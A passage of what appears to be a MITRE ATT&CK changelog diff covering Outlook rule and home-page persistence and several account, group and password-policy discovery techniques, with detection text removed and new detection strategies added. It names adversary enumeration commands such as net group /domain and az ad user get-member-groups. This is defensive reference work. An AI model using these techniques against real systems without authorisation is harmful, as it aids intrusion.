\"2025-04-15 22:55:34.415000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0177: Detect Persistence via Outlook Home Page Exploitation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 20:00:25.560000+00:00", + "modified": "2025-10-24 17:48:41.026000+00:00", + "name": "Outlook Rules", + "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/005", + "external_id": "T1137.005" + }, + { + "source_name": "Pfammatter - Hidden Inbox Rules", + "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", + "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/" + }, + { + "source_name": "Microsoft Detect Outlook Forms", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" + }, + { + "source_name": "SilentBreak Outlook Rules", + "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.", + "url": "https://silentbreaksecurity.com/malicious-outlook-rules/" + }, + { + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/notruler" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Application Log: Application Log Content\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.026000+00:00\", \"old_value\": \"2025-04-15 22:55:47.125000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0095: Detect Persistence via Malicious Outlook Rules" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:15.781000+00:00", + "name": "Password Policy Discovery", + "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1201", + "external_id": "T1201" + }, + { + "source_name": "AWS GetPasswordPolicy", + "description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.", + "url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html" + }, + { + "source_name": "Jamf User Password Policies", + "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.", + "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines" + }, + { + "source_name": "Superuser Linux Password Policies", + "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.", + "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Regina Elwell", + "Sudhanshu Chauhan, @Sudhanshu_C", + "Isif Ibrahima, Mandiant", + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "Network Devices", + "Identity Provider", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Metadata\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.781000+00:00\", \"old_value\": \"2025-04-15 19:59:00.168000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.\"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Metadata)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0161: Password Policy Discovery \u2013 cross-platform behavior-chain analytics" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:28.471000+00:00", + "modified": "2025-10-24 17:48:37.563000+00:00", + "name": "Peripheral Device Discovery", + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1120", + "external_id": "T1120" + }, + { + "source_name": "Peripheral Discovery Linux", + "description": "Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022.", + "url": "https://linuxhint.com/list-usb-devices-linux/" + }, + { + "source_name": "Peripheral Discovery macOS", + "description": "SS64. (n.d.). system_profiler. Retrieved March 11, 2022.", + "url": "https://ss64.com/osx/system_profiler.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.563000+00:00\", \"old_value\": \"2025-04-25 15:15:22.038000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0491: Peripheral Device Enumeration via System Utilities and API Calls" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:55.471000+00:00", + "modified": "2025-10-24 17:48:26.378000+00:00", + "name": "Permission Groups Discovery", + "description": "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1069", + "external_id": "T1069" + }, + { + "source_name": "K8s Authorization Overview", + "description": "Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.", + "url": "https://kubernetes.io/docs/reference/access-authn-authz/authorization/" + }, + { + "source_name": "CrowdStrike BloodHound April 2018", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Daniel Prizmant, Palo Alto Networks", + "Yuval Avrahami, Palo Alto Networks", + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "IaaS", + "Identity Provider", + "Linux", + "macOS", + "Office Suite", + "SaaS", + "Windows" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Group: Group Metadata\", \"Command: Command Execution\", \"Application Log: Application Log Content\", \"Group: Group Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.378000+00:00\", \"old_value\": \"2025-04-15 22:56:59.585000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)\"}}}", + "previous_version": "2.6", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0036: Group (Group Enumeration)", + "DS0036: Group (Group Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0179: Behavioral Detection of Permission Groups Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:15:33.222000+00:00", + "modified": "2025-10-24 17:48:26.982000+00:00", + "name": "Cloud Groups", + "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1069/003", + "external_id": "T1069.003" + }, + { + "source_name": "AWS Get Bucket ACL", + "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", + "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html" + }, + { + "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022", + "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.", + "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/" + }, + { + "source_name": "Black Hills Red Teaming MS AD Azure, 2018", + "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + }, + { + "source_name": "Google Cloud Identity API Documentation", + "description": "Google. (n.d.). Retrieved March 16, 2021.", + "url": "https://cloud.google.com/identity/docs/reference/rest" + }, + { + "source_name": "Microsoft AZ CLI", + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "source_name": "Microsoft Msolrole", + "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0" + }, + { + "source_name": "GitHub Raindance", + "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", + "url": "https://github.com/True-Demon/raindance" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Regina Elwell", + "Isif Ibrahima, Mandiant" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Application Log: Application Log Content\", \"Process: Process Creation\", \"Group: Group Metadata\", \"Group: Group Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.982000+00:00\", \"old_value\": \"2025-04-15 22:02:13.319000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0036: Group (Group Enumeration)", + "DS0036: Group (Group Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0251: Behavioral Detection of Cloud Group Enumeration via API and CLI Access" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:15:06.561000+00:00", + "modified": "2025-10-24 17:48:33.946000+00:00", + "name": "Domain Groups", + "description": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1069/002", + "external_id": "T1069.002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Harshal Tupsamudre, Qualys", + "Miriam Wiesner, @miriamxyra, Microsoft Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Group: Group Enumeration\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.946000+00:00\", \"old_value\": \"2025-04-15 22:22:08.417000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0036: Group (Group Enumeration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0360: Behavioral Detection of Domain Group Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-12 19:29:21.013000+00:00", + "modified": "2025-10-24 17:49:10.014000+00:00", + "name": "Local Groups", + "description": "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1069/001", + "external_id": "T1069.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Harshal Tupsamudre, Qualys", + "Miriam Wiesner, @miriamxyra, Microsoft Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Group: Group Enumeration\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.014000+00:00\", 